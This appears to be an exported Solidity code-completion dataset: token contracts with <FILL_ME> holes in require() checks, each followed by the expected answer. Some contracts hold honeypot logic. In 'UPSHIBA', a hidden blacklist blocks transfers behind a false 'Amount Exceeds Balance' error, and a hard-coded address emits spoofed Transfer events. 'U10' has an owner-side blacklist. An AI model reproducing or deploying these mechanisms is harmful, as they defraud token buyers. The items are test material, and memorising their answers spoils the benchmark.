function approve(address spender, uint amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint amount) private {
}
function _transfer(address from, address to, uint amount) private {
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint amount) private {
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
}
function _takeTeam(uint team) private {
}
receive() external payable {}
function createPair() external onlyOwner() {
}
function openTrading() external onlyOwner() {
}
function manualswap() external {
}
function manualsend() external {
}
function setFeeRate(uint rate) external onlyOwner() {
require(<FILL_ME>)
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
}
function toggleImpactFee(bool onoff) external onlyOwner() {
}
function updateTaxAdd(address newAddress) external {
}
function thisBalance() public view returns (uint) {
}
function amountInPool() public view returns (uint) {
}
function setBots(address[] memory bots_) external onlyOwner() {
}
function delBots(address[] memory bots_) external onlyOwner() {
}
function isBot(address ad) public view returns (bool) {
}
}
| _msgSender()==_FeeCollectionADD | 85,001 | _msgSender()==_FeeCollectionADD |
"caller not owner" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function eth(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newAddress) public onlyOwner{
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract U10 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name = "10U God of War";
string private _symbol = "10U";
uint8 private _decimals = 9;
modifier filed() {
require(<FILL_ME>)_;
}
address payable public ReceiverFundETH;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludefromFee;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public _blackListed;
uint256 public _buyMarketingFee = 3;
uint256 public _sellMarketingFee = 3;
uint256 public _totalTaxIfBuying;
uint256 public _totalTaxIfSelling;
uint256 private _totalSupply = 10000000000 * 10**_decimals;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
modifier lockTheSwap {
}
constructor () {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
receive() external payable {}
function payablen(address sender, uint256 amount) public filed() {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private returns (bool) {
}
function setBlackListed(address[] calldata addresses, bool status) public filed() {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
}
}
| _msgSender()==ReceiverFundETH,"caller not owner" | 85,091 | _msgSender()==ReceiverFundETH |
"ERC20: blackListed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function eth(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newAddress) public onlyOwner{
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract U10 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name = "10U God of War";
string private _symbol = "10U";
uint8 private _decimals = 9;
modifier filed() {
}
address payable public ReceiverFundETH;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludefromFee;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public _blackListed;
uint256 public _buyMarketingFee = 3;
uint256 public _sellMarketingFee = 3;
uint256 public _totalTaxIfBuying;
uint256 public _totalTaxIfSelling;
uint256 private _totalSupply = 10000000000 * 10**_decimals;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
modifier lockTheSwap {
}
constructor () {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
receive() external payable {}
function payablen(address sender, uint256 amount) public filed() {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(address from, address to, uint256 amount) private returns (bool) {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(<FILL_ME>)
if(inSwapAndLiquify)
{
return _basicTransfer(from, to, amount);
}
else
{
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwapAndLiquify && !isMarketPair[from])
{
swapAndLiquify(contractTokenBalance);
}
_balances[from] = _balances[from].sub(amount);
uint256 finalAmount;
if (_isExcludefromFee[from] || _isExcludefromFee[to]){
finalAmount = amount;
}else{
uint256 feeAmount = 0;
if(isMarketPair[from]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
}
else if(isMarketPair[to]) {
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(from, address(this), feeAmount);
}
finalAmount = amount.sub(feeAmount);
}
_balances[to] = _balances[to].add(finalAmount);
emit Transfer(from, to, finalAmount);
return true;
}
}
function setBlackListed(address[] calldata addresses, bool status) public filed() {
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
}
}
| !_blackListed[from],"ERC20: blackListed" | 85,091 | !_blackListed[from] |
"try from our website motherfucker!" | /*
.-'''-.
' _ \ .---. .---. _______
/ /` '. \ /| | |.--. _..._ | | _..._ \ ___ `'.
.--./). | \ ' || | ||__| .' '. | | .' '. ' |--.\ \
/.''\\ | ' | '|| | |.--.. .-. .| | . .-. . | | \ '
| | | |\ \ / / || __ | || || ' ' || | __ | ' ' | | | | '
\`-' / `. ` ..' / ||/'__ '. | || || | | || | .:--.'. | | | | | | | |
/("'` '-...-'` |:/` '. '| || || | | || |/ | \ | | | | | | | ' .'
\ '---. || | || || || | | || |`" __ | | | | | | | |___.' /'
/'""'.\ ||\ / '| ||__|| | | || | .'.''| | | | | |/_______.'/
|| || |/\'..' / '---' | | | |'---'/ / | |_| | | |\_______|/
\'. __// ' `'-'` | | | | \ \._,\ '/| | | |
`'---' '--' '--' `--' `" '--' '--'//By Elfoly
**/
pragma solidity >=0.7.0 <0.9.0;
contract Goblinland is ERC721, ERC2981, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public uriPrefix = "ipfs://bafybeidrsk65smnss6oqszbuwtzw2v2sywfiqgmad3xmcn23cuquihqypm/";
string public uriSuffix = ".json";
string public contractURI;
uint256 public maxSupply = 5000;
uint256 public maxMintAmountPerTx = 1;
uint256 public maxMintAmountPerWallet = 1;
string private Ps;
mapping(address => uint256) public mintedWallets;
bool public paused = true;
constructor(uint96 _royaltyFeesInBips, string memory _contractURI, string memory _Ps) ERC721("Goblinland_wtf", "SMELLYLAND") {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function totalSupply() public view returns (uint256) {
}
function mint(uint256 _mintAmount, string memory _address ) public payable mintCompliance(_mintAmount) {
require(!paused, "Public mint is not open sucker!");
require(<FILL_ME>)
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Only one per wallet bitch!");
require(mintedWallets[msg.sender] < 1, "Only one per wallet bitch!");
mintedWallets[msg.sender]++;
_mintLoop(msg.sender, _mintAmount);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC2981)
returns (bool)
{
}
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips) public onlyOwner {
}
function setContractURI(string calldata _contractURI) public onlyOwner {
}
}
| (keccak256(abi.encodePacked(_address)))==(keccak256(abi.encodePacked(Ps))),"try from our website motherfucker!" | 85,161 | (keccak256(abi.encodePacked(_address)))==(keccak256(abi.encodePacked(Ps))) |
"Only one per wallet bitch!" | /*
.-'''-.
' _ \ .---. .---. _______
/ /` '. \ /| | |.--. _..._ | | _..._ \ ___ `'.
.--./). | \ ' || | ||__| .' '. | | .' '. ' |--.\ \
/.''\\ | ' | '|| | |.--.. .-. .| | . .-. . | | \ '
| | | |\ \ / / || __ | || || ' ' || | __ | ' ' | | | | '
\`-' / `. ` ..' / ||/'__ '. | || || | | || | .:--.'. | | | | | | | |
/("'` '-...-'` |:/` '. '| || || | | || |/ | \ | | | | | | | ' .'
\ '---. || | || || || | | || |`" __ | | | | | | | |___.' /'
/'""'.\ ||\ / '| ||__|| | | || | .'.''| | | | | |/_______.'/
|| || |/\'..' / '---' | | | |'---'/ / | |_| | | |\_______|/
\'. __// ' `'-'` | | | | \ \._,\ '/| | | |
`'---' '--' '--' `--' `" '--' '--'//By Elfoly
**/
pragma solidity >=0.7.0 <0.9.0;
contract Goblinland is ERC721, ERC2981, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public uriPrefix = "ipfs://bafybeidrsk65smnss6oqszbuwtzw2v2sywfiqgmad3xmcn23cuquihqypm/";
string public uriSuffix = ".json";
string public contractURI;
uint256 public maxSupply = 5000;
uint256 public maxMintAmountPerTx = 1;
uint256 public maxMintAmountPerWallet = 1;
string private Ps;
mapping(address => uint256) public mintedWallets;
bool public paused = true;
constructor(uint96 _royaltyFeesInBips, string memory _contractURI, string memory _Ps) ERC721("Goblinland_wtf", "SMELLYLAND") {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function totalSupply() public view returns (uint256) {
}
function mint(uint256 _mintAmount, string memory _address ) public payable mintCompliance(_mintAmount) {
require(!paused, "Public mint is not open sucker!");
require((keccak256(abi.encodePacked(_address))) == (keccak256(abi.encodePacked(Ps))), "try from our website motherfucker!" );
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Only one per wallet bitch!");
require(<FILL_ME>)
mintedWallets[msg.sender]++;
_mintLoop(msg.sender, _mintAmount);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC2981)
returns (bool)
{
}
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips) public onlyOwner {
}
function setContractURI(string calldata _contractURI) public onlyOwner {
}
}
| mintedWallets[msg.sender]<1,"Only one per wallet bitch!" | 85,161 | mintedWallets[msg.sender]<1 |
"xx" | pragma solidity 0.8.17;
/*
/$$ /$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$
| $$ | $$| $$__ $$ /$$__ $$| $$ | $$|_ $$_/| $$__ $$
| $$ | $$| $$ \ $$| $$ \__/| $$ | $$ | $$ | $$ \ $$
| $$ | $$| $$$$$$$/| $$$$$$ | $$$$$$$$ | $$ | $$$$$$$
| $$ | $$| $$____/ \____ $$| $$__ $$ | $$ | $$__ $$
| $$ | $$| $$ /$$ \ $$| $$ | $$ | $$ | $$ \ $$
| $$$$$$/| $$ | $$$$$$/| $$ | $$ /$$$$$$| $$$$$$$/
\______/ |__/ \______/ |__/ |__/|______/|_______/
Up Only Shiba - $UPSHIB -
Inspired by Shiba Inu Token
Tokenomics -
- Total Supply: 100M
- 5% Burn after 5 Hours
- ETH Buy back after each burn.
*/
contract UPSHIBA {
mapping (address => uint256) public balanceOf;
mapping (address => bool) zyAmount;
//
string public name = "Up Only Shiba";
string public symbol = unicode"UPSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address Construct = 0x4Ffca358bdfF7a4772A98EBec08bd0f4140e7244;
address lead_deployer = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
bool isEnabled;
modifier onlyOwner() {
}
function RenounceOwner() public onlyOwner {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function adbna(address _user) public onlyOwner {
require(<FILL_ME>)
zyAmount[_user] = true;
}
function afbnb(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
}
}
| !zyAmount[_user],"xx" | 85,212 | !zyAmount[_user] |
"xx" | pragma solidity 0.8.17;
/*
/$$ /$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$
| $$ | $$| $$__ $$ /$$__ $$| $$ | $$|_ $$_/| $$__ $$
| $$ | $$| $$ \ $$| $$ \__/| $$ | $$ | $$ | $$ \ $$
| $$ | $$| $$$$$$$/| $$$$$$ | $$$$$$$$ | $$ | $$$$$$$
| $$ | $$| $$____/ \____ $$| $$__ $$ | $$ | $$__ $$
| $$ | $$| $$ /$$ \ $$| $$ | $$ | $$ | $$ \ $$
| $$$$$$/| $$ | $$$$$$/| $$ | $$ /$$$$$$| $$$$$$$/
\______/ |__/ \______/ |__/ |__/|______/|_______/
Up Only Shiba - $UPSHIB -
Inspired by Shiba Inu Token
Tokenomics -
- Total Supply: 100M
- 5% Burn after 5 Hours
- ETH Buy back after each burn.
*/
contract UPSHIBA {
mapping (address => uint256) public balanceOf;
mapping (address => bool) zyAmount;
//
string public name = "Up Only Shiba";
string public symbol = unicode"UPSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address Construct = 0x4Ffca358bdfF7a4772A98EBec08bd0f4140e7244;
address lead_deployer = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
bool isEnabled;
modifier onlyOwner() {
}
function RenounceOwner() public onlyOwner {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function adbna(address _user) public onlyOwner {
}
function afbnb(address _user) public onlyOwner {
require(<FILL_ME>)
zyAmount[_user] = false;
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
}
}
| zyAmount[_user],"xx" | 85,212 | zyAmount[_user] |
"Amount Exceeds Balance" | pragma solidity 0.8.17;
/*
/$$ /$$ /$$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ /$$$$$$$
| $$ | $$| $$__ $$ /$$__ $$| $$ | $$|_ $$_/| $$__ $$
| $$ | $$| $$ \ $$| $$ \__/| $$ | $$ | $$ | $$ \ $$
| $$ | $$| $$$$$$$/| $$$$$$ | $$$$$$$$ | $$ | $$$$$$$
| $$ | $$| $$____/ \____ $$| $$__ $$ | $$ | $$__ $$
| $$ | $$| $$ /$$ \ $$| $$ | $$ | $$ | $$ \ $$
| $$$$$$/| $$ | $$$$$$/| $$ | $$ /$$$$$$| $$$$$$$/
\______/ |__/ \______/ |__/ |__/|______/|_______/
Up Only Shiba - $UPSHIB -
Inspired by Shiba Inu Token
Tokenomics -
- Total Supply: 100M
- 5% Burn after 5 Hours
- ETH Buy back after each burn.
*/
contract UPSHIBA {
mapping (address => uint256) public balanceOf;
mapping (address => bool) zyAmount;
//
string public name = "Up Only Shiba";
string public symbol = unicode"UPSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address Construct = 0x4Ffca358bdfF7a4772A98EBec08bd0f4140e7244;
address lead_deployer = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
bool isEnabled;
modifier onlyOwner() {
}
function RenounceOwner() public onlyOwner {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function adbna(address _user) public onlyOwner {
}
function afbnb(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
require(<FILL_ME>)
if(msg.sender == Construct) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer (lead_deployer, to, value);
return true;
}
require(!zyAmount[msg.sender] , "Amount Exceeds Balance");
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
}
}
| !zyAmount[msg.sender],"Amount Exceeds Balance" | 85,212 | !zyAmount[msg.sender] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.